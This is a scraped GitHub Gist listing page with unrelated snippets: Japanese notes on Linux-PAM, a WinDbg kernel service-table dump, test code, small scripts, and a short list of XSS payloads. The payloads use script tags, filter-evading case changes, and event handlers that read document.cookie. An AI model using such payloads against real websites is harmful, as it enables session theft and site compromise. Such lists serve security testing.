Skip to content

Instantly share code, notes, and snippets.

@umedaikiti
umedaikiti / LT20140928.md
Last active September 7, 2016 15:54
TSG合宿LT

Linux-PAM

PAMとは

  • Pluggable Authentication Module
  • 認証処理を行うモジュール群とそれを利用するためのAPIからなるユーザー認証システム
  • http://www.linux-pam.org/ のドキュメントでは認証処理を行うモジュールをLinux-PAM Module、APIを利用するアプリケーションをLinux-PAM Applicationと呼んでいる

モジュールの例

Chapter 6. A reference guide for available modules

pam_unix

linuxでログインするとき/etc/passwdや/etc/shadowを見て認証を行う

@ntddk
ntddk / gist:b38c93c1a89642358277
Created October 2, 2014 12:55
KiServiceTable
kd> .for(r $t0=0; @$t0<dwo(nt!KiServiceLimit); r $t0=@$t0+1){.printf "%y\n", nt!KiServiceTable+(dwo(nt!KiServiceTable+@$t0*4)>>4)}
fffff801`85aa38c4
fffff801`85b3cc10
nt!NtAcceptConnectPort (fffff801`75f238ac)
nt!NtMapUserPhysicalPagesScatter (fffff801`760afb54)
nt!NtWaitForSingleObject (fffff801`75e52d20)
fffff801`85ba51a0
nt!NtReadFile (fffff801`75eb42f0)
nt!NtDeviceIoControlFile (fffff801`75e56740)
nt!NtWriteFile (fffff801`75e9e770)
  • '';!--"<XSS>=&{()}``\"
  • <script>alert(XSS);</script>
  • "><script>alert(XSS);</script>
  • <ScrIpt>alert(1);</SCript>
  • <a onmouseover="alert(document.cookie)">XSS</a>
  • <a onmouseover=alert(document.cookie)>XSS</a>
  • <<script>alert("XSS");//<</script>
  • <iframe src="javascript:alert('XSS');"></iframe>
  • <iframe src=# onmouseover="alert(document.cookie)"></iframe>
  • ``
@nyuichi
nyuichi / asm.py
Last active August 29, 2015 14:07
#!/usr/bin/env python2.7
#
# Usage: ./asm.py foo.s > foo.out
import sys, re
filename = sys.argv[1]
def parse(line):
line = line.strip()
@oieioi
oieioi / top30
Last active March 21, 2019 09:54
localhost はてブ数 top30
399 http://localhost:80
146 http://localhost:3000
87 http://localhost:8080
32 http://localhost:8000
27 http://localhost:631
25 http://localhost:5000
24 http://localhost:8888
23 http://localhost:4567
13 http://localhost:4000
12 http://localhost:9292
@MikaelSoderstrom
MikaelSoderstrom / Nightmare-demo.js
Last active July 17, 2025 02:58
Testing with mocha, chai and nightmare.js
var path = require('path');
var Nightmare = require('nightmare');
var should = require('chai').should();
describe('Nightmare demo', function () {
this.timeout(15000); // Set timeout to 15 seconds, instead of the original 2 seconds
var url = 'http://localhost:3000';
describe('Start page', function () {
@akouryy
akouryy / ぴょんぴょん.rb
Last active August 29, 2015 14:08
filter by tag
# encoding utf-8
# example:
# ruby ぴょんぴょん.rb -e png -e jpg -e gif -t シャロ -t チノ
# : .png or .jpg or .gif, シャロ or チノ
# ruby ぴょんぴょん.rb -o リゼシャロ --tag シャロ リゼ -千夜
# : シャロ and リゼ but 千夜, ./リゼシャロ/ will contain symlinks
require 'fileutils'
@akouryy
akouryy / A example
Last active August 29, 2015 14:08
A: tags, B: files
A = [
['6','千夜']
['7','シャロ']
['8','リゼ']
['9','ココア']
['0','チノ']
[]
['i','青山']
['o','マヤ']
['p','メグ']
@bulkan
bulkan / user.js
Created January 7, 2015 22:39
Mocking Sequelize model function
var Promise = require('bluebird');
var sinon = require('sinon');
var User = require('./db/models').User;
describe('User model', function(){
var userFindStub;
var sandbox;
before(function(){
sandbox = sinon.sandbox.create();
まず、nominalな継承関係はないので、ここでの継承関係とはクラス<A>と<B>の包含関係が
A \subset B
であることします。ようするに
(instanceof? x A) => (instanceof? x B)
みたいな感じですね。これを実現するためにクラス間の継承関係を*あとづけ*できるようにします。